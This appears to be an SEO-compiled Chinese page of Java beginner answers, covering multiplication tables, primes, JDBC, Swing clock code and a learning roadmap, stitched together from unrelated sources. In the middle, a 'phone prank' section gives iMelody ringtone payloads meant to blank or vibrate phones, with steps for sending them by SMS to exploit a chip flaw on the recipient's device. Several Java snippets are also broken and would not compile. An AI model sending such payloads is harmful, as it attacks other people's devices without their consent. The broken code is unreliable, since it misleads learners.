java编程常用代码大全,安卓手机整人代码java大全
java编程常用代码大全,安卓手机整人代码java大全详细介绍
本文目录一览: 怎么用java编写程序实现九九乘法表?
代码如下:
public class qct {
public static void main(String[] args)
{
int i=0;
int j=0;
for(i=1;i<=9;i++)
{ for(j=i;j<=9;j++)
System.out.print(i+"*"+j+"="+i*j+"\t");
System.out.println();
}
}
}
扩展资料
import java.lang.*;
import java.util.Arrays;
public class ChengFB
{
public static void main(String[] args)
{
int[] Num=new int[10];
for(int i=1;i<10;i++)
{
Num[i]=i;
}
for(int m=9;m>0;m--)
{
for(int j=9;j>=m;j--)
{
int Result;
Result=Num[m]*Num[j];
System.out.print(Num[j]+"*"+Num[m]+"="+Result+" ");
}
System.out.println();
}
}
public int Multi(int x,int y)
{
int temp;
temp=x*y;
return temp;
}}
java编程 要完整代码!
[Main.java]
import java.util.*;
public class Main{
private boolean flag==false;
private int count;
private boolean stop=false;
HashMap
name=new HashMap
();
public static void main(String[] args){
Scanner sc=new Scanner(System.in);
String strs=sc.next();
String str=strs.split("|")[0];
if(str.equals("投票")&&flag==false&&stop==false){
System.out.println("投票成功");
flag=true;
count++;
name.put(count,strs.split("|")[1]);
if(count==1000){
stop=true;
}
}else if(str.equals("投票")&&flag==true||str.equals("投票")&&stop==true){
System.out.println("投票失败,已截止或已投票");
}
for(int i=0;i<=count;i++){
System.out.print(name.get(i));
}
System.out.println("已经投票数:"+count);
}
}
GUI界面或者其他的东西自行完成,我只是给个思路。
求java编程的代码
实现代码
测试结果
优化就靠你自己了。
代码如下,望采纳
public class PrintPrime{ public static void main(String args[]){ //设置一个计数变量count,用于统计一行当中已经输出数字的个数 int count = 0; //写代码时人为判断200为非素数,如果不考虑题目的严格要求的话,可以写成<200 for(int i = 100;i<=200;i++){ //判断数字是否为素数,若是,则count+1并输出数字 if(PrintPrime.IsPrime(i)){ count++; System.out.print(i+" "); } //如果一行十个已经输出完毕,计数归零,换行 if(count==10){ count=0; System.out.println(); } } } //判断数字是否为素数 public static boolean IsPrime(int n){ //如果小于等于三,则大于一即为素数 if (n <= 3) { return n > 1; } //从2循环到数字的开平方,算法优化 for(int i=2;i<=Math.sqrt(n);i++){ if(n%i == 0) return false; } return true; }}
java编程代码,对SQL中的两个表格作比较,模糊匹配方面的
主要代码如下:
1 注册驱动,根据不同数据库注册不同的驱动.
Class.forName("oracle.jdbc.driver.OracleDriver");//oracle数据库
//(mysql数据库)Class.forName("com.mysql.jdbc.Driver");
new oracle.jdbc.driver.OracleDriver();
2 通过驱动管理器获得连接:
Connection conn = DriverManager.getConnection(url,用户名,密码)
(oracle)url = "jdbc:oracle:thin:@ip地址:1521:数据库名(orcl)
jdbc:oracle:thin:@192.168.11.188:1521:orcl
(mysql) jdbc:mysql://127.0.0.1:3306/数据库名
3 通过连接(Connection)生成语句(Statement)对象
Statement stmt = conn.createStatement();
//PreparedStatement pstmt = conn.prepareStatement(sql);
4 传递语句对象,并返回结果
String sql = "select * from e表2 where id = 2 or id = 3";
ResultSet rs = stmt.executeQuery(sql);
//ResultSet rs = prepareStmt.executeQuery();
//int n = stmt.executeUpdate(sql);
while(rs.next()){
String id = rs.getString(1);
String word = rs.getString(2);
......
//这里边的id 和word就是你想要的结果
}
5 释放资源
rs.close();
stmt.close();
conn.close();
java九九乘法表编程代码是什么?
思路:
定义整型二维数组,用循环,
第一层循环控制行数,从1-9,表示第二个乘数
第二层循环控制列数,从1到外循环因子,表示第一个乘数
用字符串存储乘法等式然后打印输出,第二层循环用print,循环完了用println
代码:
{
public void printMult9() {
for (int i = 1, i <= 9; i ++) {
for (int j = 1, j <= i; j ++) {
int ji = i * j;
System.out.print(j+"×"+i+"="+ji);
}
System.out.println();
}
package ch02;
public class TEST{
public static void main(String[] args) {
for (int i = 1; i <=9; i++) {
for (int j = 1; j <= i; j++) {
System.out.print(j+"*"+i+"="+(i*j)+" ");
}System.out.println();
}
}
}
测试结果 :
1*1=1
1*2=2 2*2=4
1*3=3 2*3=6 3*3=9
1*4=4 2*4=8 3*4=12 4*4=16
1*5=5 2*5=10 3*5=15 4*5=20 5*5=25
1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36
1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49
1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64
1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81
实现思路:如果我们把九九乘法表中如“1*1=1”等式全部看作一个个整体的话,九九乘法表可看作一个直角三角形,实现直角三角形可用两个for循环嵌套来实现,那么我们最后输出应为System.out.print(变量1+"*"+变量2+"="+(变量1*变量2)+" ");
代码如下:
public class ChengDemo {
public static void main(String args[]){
for(int k = 1;k<=9;k++){ //外循环用于控制行数
for(int j = 1;j<=k;j++){
System.out.print(j+"*"+k+"="+(j*k)+"\t"); //"\t"为制表符
}
System.out.println(); //换行
}
}
}
安卓手机整人代码java大全
BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+
+"@9999999999999999999999999)"
手机黑屏代码
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手机狂震代码
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
说明
<1> “@”后面的数字越大,重复次数越多
<2>把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件
<3> imy 放到手机里的Audio文件夹
<4>写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.
java编程利用按钮实现时钟的停止和开始功能(原代码)
package com.main;
//仅供参考
import java.awt.BorderLayout;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JTextArea;
public class Test extends JFrame{
/**
* @param args
*/
Boolean flag = true;
JTextArea jta = new JTextArea();
JButton jb = new JButton("button");
public Test(){
jb.addMouseListener(new MouseAdapter(){
public void mouseClicked(MouseEvent e) {
if(flag){
flag = false;
}else{
flag = true;
}
}
});
this.add(jta,BorderLayout.CENTER);
this.add(jb,BorderLayout.SOUTH);
this.setSize(300, 300);
this.setVisible(true);
this.setDefaultCloseOperation(EXIT_ON_CLOSE);
Thread thread = new Thread(new Runnable(){
@Override
public void run() {
int i = 0;
while(true){
if(flag){
i = i + 1;
jta.setText(i+"");
try {
Thread.currentThread().sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
});
thread.start();
}
public static void main(String[] args) {
Test test = new Test();
}
}
如下:
import java.awt.*;
import java.awt.event.*;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.Timer;
import java.awt.geom.*;
import java.util.*;
class Clock extends Canvas
implements ActionListener{
static JButton jb=new JButton("开始");
static JButton jb1=new JButton("暂停");
Date date;
Timer secondTime;
int hour,munite,second;
Line2D secondLine,muniteLine,hourLine;
int a,b,c;
double pointSX[]=new double[60],//用来表示秒针端点坐标的数组
pointSY[]=new double[60],
pointMX[]=new double[60], //用来表示分针端点坐标的数组
pointMY[]=new double[60],
pointHX[]=new double[60], //用来表示时针端点坐标的数组
pointHY[]=new double[60];
Clock()
{ secondTime=new Timer(1000,this);
pointSX[0]=0; //12点秒针位置
pointSY[0]=-100;
pointMX[0]=0; //12点分针位置
pointMY[0]=-90;
pointHX[0]=0; //12点时针位置
pointHY[0]=-70;
double angle=6*Math.PI/180; //刻度为6度
for(int i=0;i<59;i++) //计算出各个数组中的坐标
{ pointSX[i+1]=pointSX[i]*Math.cos(angle)-Math.sin(angle)*pointSY[i];
pointSY[i+1]=pointSY[i]*Math.cos(angle)+pointSX[i]*Math.sin(angle);
pointMX[i+1]=pointMX[i]*Math.cos(angle)-Math.sin(angle)*pointMY[i];
pointMY[i+1]=pointMY[i]*Math.cos(angle)+pointMX[i]*Math.sin(angle);
pointHX[i+1]=pointHX[i]*Math.cos(angle)-Math.sin(angle)*pointHY[i];
pointHY[i+1]=pointHY[i]*Math.cos(angle)+pointHX[i]*Math.sin(angle);
}
for(int i=0;i<60;i++)
{ pointSX[i]=pointSX[i]+120; //坐标平移
pointSY[i]=pointSY[i]+120;
pointMX[i]=pointMX[i]+120; //坐标平移
pointMY[i]=pointMY[i]+120;
pointHX[i]=pointHX[i]+120; //坐标平移
pointHY[i]=pointHY[i]+120;
}
secondLine=new Line2D.Double(0,0,0,0);
muniteLine=new Line2D.Double(0,0,0,0);
hourLine=new Line2D.Double(0,0,0,0);
secondTime.start(); //秒针开始计时
}
public void paint(Graphics g)
{ for(int i=0;i<60;i++) //绘制表盘上的小刻度和大刻度
{ int m=(int)pointSX[i];
int n=(int)pointSY[i];
if(i%5==0)
{ g.setColor(Color.red);
g.fillOval(m-4,n-4,8,8);
}
else
{ g.setColor(Color.cyan);
g.fillOval(m-2,n-2,4,4);
}
}
g.fillOval(115,115,10,10); //钟表中心的实心圆
Graphics2D g_2d=(Graphics2D)g;
g_2d.setColor(Color.red);
g_2d.draw(secondLine);
BasicStroke bs=
new BasicStroke(3f,BasicStroke.CAP_ROUND,BasicStroke.JOIN_MITER);
g_2d.setStroke(bs);
g_2d.setColor(Color.blue);
g_2d.draw(muniteLine);
bs=new BasicStroke(6f,BasicStroke.CAP_BUTT,BasicStroke.JOIN_MITER);
g_2d.setStroke(bs);
g_2d.setColor(Color.green);
g_2d.draw(hourLine);
}
public void actionPerformed(ActionEvent e)
{ if(e.getSource()==secondTime){
date=new Date();
String s=date.toString();
hour=Integer.parseInt(s.substring(11,13));
munite=Integer.parseInt(s.substring(14,16));
second=Integer.parseInt(s.substring(17,19)); //获取时间中的秒
int h=hour%12;
a=second; //秒针端点的坐标
b=munite; //分针端点的坐标
c=h*5+munite/12; //时针端点的坐标
secondLine.setLine(120,120,(int)pointSX[a],(int)pointSY[a]);
muniteLine.setLine(120,120,(int)pointMX[b],(int)pointMY[b]);
hourLine.setLine(120,120,(int)pointHX[c],(int)pointHY[c]);
repaint();
} if(e.getSource()==jb){
secondTime.start();
}if(e.getSource()==jb1){
secondTime.stop();
}
}
public static void main(String args[]){
JFrame win=new JFrame("时钟");
JPanel jp=new JPanel();
jp.add(jb);
jp.add(jb1);
Clock clock=new Clock();
jb.addActionListener(clock);
jb1.addActionListener(clock);
win.add(clock,BorderLayout.CENTER);
win.add(jp,"South");
win.setVisible(true);
win.setSize(246,300);
win.setDefaultCloseOperation(3) ;
win.validate();
}
}
运行截图:
有问题就追问,满意请采纳。
怎样用Java编写程序 ,从sql server 2005 删除、增加、查询数据库中的表记录呢??急求代码!!
delete table1
insert into table1(列名) values('值')
select * from table1
语法和例子可参照联机
jdbc驱动建立数据库连接
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
Connection conn = DriverManager.getConnection("jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=数据库名", "数据库用户名", "用户密码");
Statement stmt = conn.createStatement();
//conn是数据库连接,stmt是sql语句执行对象
可以使用stmt的stmt.executeUpdate(String sql)方法执行增删改操作,返回一个int,表示受到影响的记录数,比如update一条记录操作,修改成功返回1,不成功则是0;stmt.executeQuery(String sql)执行查询操作,返回一个结果集ResultSet rs,可以使用rs中的方法遍历结果集,获得数据,常用的比如rs.getString("字段名")。sql语句就是stmt两个方法的参数。注意异常情况。另外,jdbc连接sql server需要引入3个jar包:msbase.jar,mssqlserver.jar,msutil.jar。有的SP2,SP3的机器还需要打个补丁,SQL2000-KB884525-SP4-x86-CHS.EXE,可以下载。
也可以使用ODBC桥,不过用的少。
JAVA基础入门教程 -
我是学java的,给你推荐几本,《Java核心编程》,《Java编程思想》《Java高手真经》,至于学习视频呢,我认为可以到siki学院看下。老师讲的都很用心。
第一阶段:Java语言基础
Java语言基础
1、面向对象思维JAVASE
2、(类加载机制与反射,annotation,泛型,网络编程,多线程,IO,异常处理,常用API,面向对象,JAVA编程基础)
3、Java8新特性
JAVA战狼班第二阶段:数据库
数据库
1、Oracle(SQL语句、SQL语句原理、SQL语句优化、表、视图
2、序列、索引、Oracle数据字典、Oracle 数据库PL/SQL开发
3、数据库设计原则、 MySQL 、 JDBC
第三阶段:Web基础
Web基础
1、HTML5(H5)基本文档结构、链接、列表、表格、表单;
2、CSS 基础语法、盒子模型、浮动布局、定位;
3、JavaScript语言基础、DOM 编程、事件模型等),JQuery,AJAX框架,XML,BootStrap组件
第四阶段:Java Web技术和主流框架
Java Web技术和主流框架
1、JSP&Servlet、struts2,hibernate4,spring4,JPA,maven
2、SpringData,SpringMVC,MyBatis,SpringSecurity,shiro,Nginx
第五阶段:Linux
Linux
1、Linux安装、熟悉Linux的基础命令、vi编辑器的使用、awk和sed命令使用、用户和组
2、文件及目录权限管理、使用ACL进行高级访问控制、网络配置和软件包安装、启动流程和服务管理
3、系统监控和日志管理、进程管理和计划任务、ssh远程登录、shell基础和shell脚本。
第六阶段:大数据技术(Hadoop和Spark)
大数据技术(Hadoop和Spark)
1、Hadoop (Hadoop基础和环境搭建,HDFS体系结构,MapReduce;Hadoop的集群模式、HDFS联盟,利用ZooKeeper来实现Hadoop集群的HA(高可用性)功能
2、Yarn的任务调度机制,Apache Hive,Pig数据处理,集成Hadoop和Sqoop
3、Flume以及Apache Kafka来实现数据的交换,安装部署HBase,Storm)
4、Scala 语言(Scala环境搭建、Scala基础语法、模式匹配、重载与构造器、Map与reduce、元组、继承、StringContext,Option Some None,Tuple;集合方法和运算,future 对象同步处理和异步处理返回结果)
5、Spark(Spark搭建,Spark-shell 的使用,Spark-submit 提交应用, Spark的内核设计和实现,并对内核中的实现架构、运行原理进行详细的讲解;Spark生态体系中的各个组件,包括:Spark Core,Shark,Spark SQL和Spark Streaming等等)
第七阶段:项目
项目
1、China-UCSP 项目 SSM(Spring+SpringMVC+MyBatis)
2、用户关系管理系统 S2SH+Maven+Nodejs+MySQL技术实战开发
3、电子商务交易平台 S2SH+Maven+Shiro+Oracle